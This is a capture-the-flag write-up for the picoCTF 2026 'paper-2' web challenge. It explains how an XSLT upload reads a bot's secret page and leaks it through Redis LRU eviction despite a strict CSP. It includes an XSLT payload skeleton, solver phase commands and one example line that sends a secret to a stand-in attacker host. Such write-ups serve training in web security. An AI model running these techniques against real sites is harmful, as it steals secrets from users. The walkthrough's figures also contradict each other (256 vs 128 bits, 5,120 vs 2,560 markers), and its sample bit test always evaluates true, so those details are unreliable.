paper-2 picoCTF 2026 Solution

Published: March 20, 2026

Description

A piece of paper is a blank canvas, what do you want on yours? Source code: paper-2.tar .

Download and extract paper-2.tar.

Read the source code to understand the app's architecture: XSLT upload, Redis caching, bot visit flow, and CSP headers.

bash
tar -xf paper-2.tar
bash
cat app.py
bash
cat *.xml *.xsl 2>/dev/null

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Understand the attack surface
    Observation
    I noticed the app combined XSLT upload, a bot visitor with an auth cookie, and a strict CSP of script-src 'none' plus default-src 'self', which ruled out any JavaScript or cross-origin exfiltration and forced me to look for a same-origin in-band read with an out-of-band leak channel.
    The app stores a bot's secret cookie in Redis with a 60-second TTL and allows XSLT stylesheets to be uploaded. CSP is set to script-src 'none' and default-src 'self', blocking JavaScript and external exfiltration. XSLT stylesheets can use document() to fetch the /secret endpoint with the bot's auth context, reading the secret from the HTML. The challenge is exfiltrating this same-origin data with no JS and no external URLs.
    bash
    cat app.py
    What didn't work first

    Tried: Try to use fetch() or XHR inside the XSLT to exfiltrate the secret to an external server.

    CSP is set to script-src 'none' and default-src 'self', so any JavaScript execution or cross-origin request is blocked at the browser level before it can fire. The bot's browser enforces CSP on the rendered page, meaning even XSLT-generated script tags are dead on arrival. The correct path avoids JS entirely and uses Redis key access patterns as the out-of-band channel.

    Tried: Inject an XSS payload into the XSLT output hoping the bot's cookie is accessible via document.cookie.

    Even if a script tag were somehow rendered, the CSP script-src 'none' header blocks execution unconditionally - there is no unsafe-inline exception. Additionally the bot cookie has the HttpOnly flag set, making it inaccessible to JavaScript even without CSP. The only feasible read path is XSLT's document() function, which fetches /secret server-side using the bot's auth context without touching JS.

    Learn more

    Content Security Policy (CSP) is an HTTP response header that instructs browsers to only load resources (scripts, images, stylesheets, fonts, etc.) from specified origins. script-src 'none' blocks all JavaScript execution, and default-src 'self' restricts all other resources to the same origin. This makes traditional XSS-based data exfiltration impossible - you can't run fetch(attacker.com, {body: secret}).

    XSLT (XSL Transformations) is an XML-based language for transforming XML documents. The critical function here is document(url), which fetches an external XML or HTML document and makes it available for processing within the stylesheet. Because the XSLT processor runs server-side or in the bot's browser context, document('/secret') fetches the secret with the bot's authentication cookies attached - a same-origin read that CSP does not block.

    The CSP restriction creates an unusual constraint: you can read the secret within the XSLT transformation, but you cannot send it to an external server. The solution must use an entirely different channel to leak information out - in this case, the Redis LRU eviction side-channel.

  2. Step 2
    Prepare marker pairs and prefill the Redis LRU buffer
    Observation
    I noticed the Redis allkeys-lru eviction policy meant keys with older LRU timestamps would be evicted first, which suggested pre-uploading marker pairs and dummy files to age the '0' markers before the bot visit so only the bot-touched '1' markers would survive the postfill eviction sweep.
    Upload two markers per bit (one for 'this bit is 0', one for 'this bit is 1') across 10 redundant replicas, then prefill with dummy files so the LRU clock is well-aged before the bot visit.
    python
    python3 solve.py --phase prepare
    bash
    # Uploads marker pairs and dummy files to establish LRU baseline

    A marker pair is two file uploads, one per possible value of a bit. The upload endpoint is POST /marker/bit<N>_<bit_value>: e.g. /marker/bit0_0 and /marker/bit0_1. Each upload is a ~20 KB blob the server stashes in Redis as a single key. There are 256 secret bits × 2 values × 10 replicas = 5,120 marker keys total before the bot ever runs. (The numbers vary across solver writeups; the structure does not.)

    What didn't work first

    Tried: Upload only one marker per bit (no redundant replicas) to keep the setup phase fast.

    With a single replica per bit, any one stray eviction or out-of-order LRU timestamp flip causes an unrecoverable bit error. Since /flag uses Redis getdel and gives only one attempt, a single wrong bit invalidates the entire run. The 10-replica majority-vote scheme exists precisely to absorb the ~5% per-key noise in LRU ordering under concurrent writes; removing replicas raises the per-bit error rate high enough that getting all 256 bits correct in one shot becomes unlikely.

    Tried: Skip the prefill dummy-file step to save time before the bot visit.

    Without aging the marker keys first, the '0' and '1' markers have the same LRU age when the bot runs. After the bot touches the '1' markers, the LRU ordering between '0' and '1' markers is indistinguishable - both were written at roughly the same time and neither is clearly older. The prefill step deliberately makes the '0' markers much older than the '1' markers so Redis evicts the right set when the postfill pushes past maxmemory.

    Learn more

    Redis LRU eviction is a memory management policy where Redis automatically deletes the Least Recently Used keys when it reaches its memory limit (maxmemory). The allkeys-lru policy applies this to all keys regardless of TTL. The crucial property for this attack is that accessing a key (via GET, GETDEL, or even just rendering an image that causes a server-side Redis lookup) updates that key's "last used" timestamp.

    The attack uses Redis as an implicit output channel: the XSLT stylesheet conditionally accesses certain Redis keys based on the secret's bit values. After the bot visits, keys that were accessed have a fresh LRU timestamp and survive eviction; keys that were never accessed are old and get evicted. By checking which keys still exist, you reconstruct which bits are 1 and which are 0.

    The 10-replica design provides majority voting to handle noise: if 6+ of the 10 replicas for a bit survived eviction, call that bit 1. The math: assume an independent failure rate of ~5% per replica (occasional out-of-order eviction, lost requests). The probability of 5+ failures out of 10 is roughly 0.4% per bit. Across 256 bits the chance of any bit being miscalled is ~1%, low enough that you usually get the secret right on the first /flag attempt. Drop replicas to 5 and that error blows up to ~10% per attempt.

  3. Step 3
    Deploy the XSLT payload
    Observation
    I noticed XSLT's document() function could fetch /secret with the bot's auth context and that xsl:if plus contains() could test individual hex characters without any JavaScript, which suggested encoding each bit of the secret as a conditional img tag that would perform a Redis key access only when the bit was 1.
    Generate XSLT documents using <xsl:if> with contains() and substring() to test each hex character of the secret. For each bit that tests true, the stylesheet conditionally renders an <img> tag pointing to the corresponding '1' marker (which performs a Redis get(), refreshing its LRU timestamp). False bits leave the '0' markers untouched.
    bash
    # XSLT payload structure:
    bash
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
      <xsl:template match="/">
        <xsl:variable name="secret" select="document('/secret')//span[@id='secret']"/>
        <xsl:if test="contains('0123456789abcdef', substring($secret,1,1))">
          <img src="/marker/bit0_1"/>
        </xsl:if>
        <!-- ... repeat for each bit position -->
      </xsl:template>
    </xsl:stylesheet>
    python
    python3 solve.py --phase payload
    What didn't work first

    Tried: Use xsl:value-of to write the secret directly into the rendered page output and read it from the bot's DOM.

    The rendered page output is only visible to the bot's browser renderer, not to the attacker. There is no mechanism to read the bot's rendered DOM from outside - no JS, no callback URL, and no return channel. The XSLT transformation output exists only inside the bot's session. The marker GET side-channel is necessary because it causes observable Redis state changes that the attacker can query independently after the bot session ends.

    Tried: Use contains($secret, '0') to test whether the digit '0' appears anywhere in the secret string, then branch on that.

    contains() on the full string only tells you whether a character appears at all, not its position. A secret with multiple hex digits will nearly always contain every possible hex character at least once, making the test useless for reconstructing bit positions. The correct approach uses substring($secret, N, 1) to extract exactly the Nth character and then tests which bit-subset of hex digits it belongs to, giving a positional, bit-level signal.

    Learn more

    XSLT conditional rendering (<xsl:if>) is key to this side channel. The substring($secret, N, 1) function extracts the Nth character of the secret hex string. The contains('0123456789ab', char) predicate tests whether that character is in a specific set of hex digits, effectively probing individual bits of the secret without any JavaScript.

    The <img src="/marker/bit_N_1"/> tag causes the browser (running as the bot) to make a GET request to the server for that marker image. The server processes this GET request, performs a Redis lookup for the marker key, and returns the image data. This Redis lookup is the crucial access that refreshes the LRU timestamp.

    The bit decomposition converts each hex character (4 bits) into 4 binary decisions: 32 hex chars × 4 bits = 128 bits total. Each bit position N gets one XSLT contains() test against the subset of hex digits where that bit is 1. For example, bit 3 (the high bit of a hex digit) is 1 for the digits {8, 9, a, b, c, d, e, f}, so the test is contains('89abcdef', substring($secret, position, 1)). Bit 0 (the low bit) is 1 for {1, 3, 5, 7, 9, b, d, f}, and so on. This binary representation is critical because contains() can test set membership but not arbitrary comparisons. By decomposing into bits you reduce each test to a simple yes/no question answerable with XSLT's limited string functions. For more on these CSP-style web side-channels see Web challenges and real-world bug patterns.

  4. Step 4
    Trigger the bot and run eviction
    Observation
    I noticed the bot's 60-second session TTL created a hard timing window and that starting the postfill before the bot finished fetching markers would evict '1' markers that had not yet been refreshed, which suggested a mandatory quiet window between the bot visit and the postfill upload phase.
    Submit your XSLT page to the bot, wait for every marker GET to land in Redis, and only then start the postfill that pushes maxmemory over the limit. Get the timing wrong and you evict the wrong markers.
    python
    python3 solve.py --phase trigger
    bash
    # Submits page to bot, waits ~30s, then uploads postfill to trigger eviction

    Concrete timing budget for a 60s session TTL:

    • t=0s: submit XSLT to the bot.
    • t=0..25s: bot fetches markers; each GET refreshes that key's LRU timestamp.
    • t=25..30s: quiet window. Do nothing. Lets every in-flight marker GET settle into Redis before any postfill writes change LRU ordering. Skipping this window is the most common reason runs fail.
    • t=30..50s: postfill begins. Ramp uploads in parallel until Redis crosses maxmemory and starts evicting.
    • t=50..58s: HEAD-probe markers to record survivors. Stop probing before the 60s TTL expires so you don't accidentally re-touch keys you haven't yet read.

    The pre-fill from the previous step matters for the same reason: it ages every "0" marker to be older than the "1" markers the bot just touched, so the LRU evicts the right set.

    What didn't work first

    Tried: Start the postfill immediately after submitting the page to the bot without waiting for the quiet window.

    If postfill writes begin while the bot is still fetching markers, Redis starts evicting keys before all the '1' marker LRU timestamps have been updated. A postfill write can displace a '1' marker that the bot has not yet fetched, causing that bit to read as '0' in recovery. The 25-30 second quiet window ensures every in-flight bot GET has landed in Redis and refreshed its LRU timestamp before any eviction pressure is applied.

    Tried: Use GET requests instead of HEAD requests to probe marker survival after the postfill.

    A GET request to a surviving marker key causes a Redis lookup that refreshes the key's LRU timestamp. If you GET-probe a '0' marker that somehow survived eviction, you make it look recently accessed and it may survive further eviction pressure, corrupting the signal. Using HEAD avoids any Redis-side access (the server returns a cached response or a 404 based on key existence without re-touching the key), keeping the LRU state frozen during recovery.

    Learn more

    The timing of this attack is critical. The 60-second TTL on the bot's session means you have a hard deadline: the XSLT must process and all marker accesses must complete within that window. The ~25-second loading time for the conditional image requests is the main bottleneck - this is the time the bot spends rendering the page and fetching all the "1" markers.

    The postfill phase is what triggers the actual eviction. By uploading ~4,500 large (60 KB) dummy files, you push Redis over its 512 MB memory limit. Redis then begins evicting keys in LRU order - oldest first. The untouched "0" markers (which were last accessed during the prepare phase, before the bot visit) are older than the recently-accessed "1" markers, so they get evicted first.

    The timing between "bot finishes" and "postfill starts" is delicate: you must wait long enough for all marker requests to complete (so LRU timestamps are updated), but you must upload the postfill before the 60-second TTL expires (so the session is still valid during the XSLT processing). This is why the solve script has carefully tuned wait times.

  5. Step 5
    Recover the secret with HEAD requests
    Observation
    I noticed that GET probes would refresh the LRU timestamps of surviving markers and corrupt the side-channel signal, and that the /flag endpoint used Redis getdel giving only one attempt, which suggested using HEAD requests for all probes and applying majority voting across all 10 replicas before submitting.
    Issue HEAD requests to all 2,560 markers. Alive markers (response >100 bytes) were accessed by the bot = bit is '1'. Evicted markers = bit is '0'. Use majority voting across 10 replicas per bit to reconstruct the full 32-character hex secret. Submit it to /flag - the endpoint uses getdel so you only get one attempt.
    python
    python3 solve.py --phase recover
    bash
    # Queries all markers, reconstructs secret via majority vote, submits to /flag

    Expected output

    picoCTF{...}
    What didn't work first

    Tried: Use GET requests to probe all 2,560 markers to check which ones are alive.

    GET requests to surviving markers cause Redis lookups that refresh LRU timestamps on those keys. This corrupts the side-channel signal mid-read: if you GET-probe bit-N's '0' markers and any of them survive, they get refreshed and may outlast genuine '1' markers in subsequent eviction. HEAD requests check existence via the HTTP response status without triggering a Redis access, preserving the LRU ordering that encodes the secret.

    Tried: Guess the secret as a majority vote but submit immediately when a single replica per bit is confirmed, without waiting for all 10 replicas.

    Partial majority voting on a subset of replicas amplifies per-bit error. With only 3 of 10 replicas checked, a single false positive from a '0' marker that survived eviction could flip a bit. Since /flag uses Redis getdel and gives no second attempt, a single incorrect bit wastes the entire run. Checking all 10 replicas and requiring 6+ alive to call a bit '1' brings the per-bit error probability low enough to trust the reconstruction.

    Learn more

    The recovery phase uses HTTP HEAD requests (which fetch only headers, not body) to check whether each marker key still exists in Redis. A 200 response with content indicates the key is alive (bit = 1); a 404 or empty response indicates the key was evicted (bit = 0). Using HEAD instead of GET avoids accidentally refreshing the LRU timestamps of the remaining "0" markers during recovery.

    The majority voting scheme with 10 replicas per bit handles noise from imperfect eviction ordering. If a bit's "1" marker was accidentally evicted (false negative) or a "0" marker survived (false positive), the other 9 replicas provide redundancy. Requiring 6+ out of 10 alive replicas to call a bit "1" gives a low error probability assuming eviction is roughly LRU-ordered.

    The single-attempt constraint on /flag (via Redis getdel) is the highest-stakes element of the challenge. It means you must reconstruct the secret correctly on the first try. This motivates all the engineering around replicas, timing, and majority voting - there is no retry if the reconstruction is wrong.

    This attack is a beautiful example of a cache side-channel: information leaks not through direct output but through observable differences in cache state (which keys survived eviction). Similar techniques appear in CPU cache timing attacks like Spectre/Meltdown, DRAM-level Rowhammer attacks, and distributed cache timing attacks against web applications.

Flag

Reveal flag

picoCTF{i_l1ke_frames_on_my_canvas_...}

Paper-2 is an XSLT + Redis LRU side-channel attack. Since CSP blocks JS and external URLs, XSLT's document() function reads the secret in-origin, and Redis eviction patterns leak which bits were accessed by the bot. The 60-second TTL and single-guess /flag endpoint make this a precision timing attack. The suffix after i_l1ke_frames_on_my_canvas_ is a 32-char hex secret generated per instance.

Key takeaway

Cache side-channels leak information not through direct output but through observable differences in the system's internal state after processing a secret. When strict CSP eliminates all direct exfiltration paths, the cache eviction order itself becomes an output channel: which keys survive eviction encodes which branches the processor took when the secret was in scope. The same principle underlies CPU cache attacks like Spectre, PRIME+PROBE against shared caches, and timing-based inference attacks against any system where resource consumption correlates with secret values.

Related reading

Want more picoCTF 2026 writeups?

Useful tools for Web Exploitation

What to try next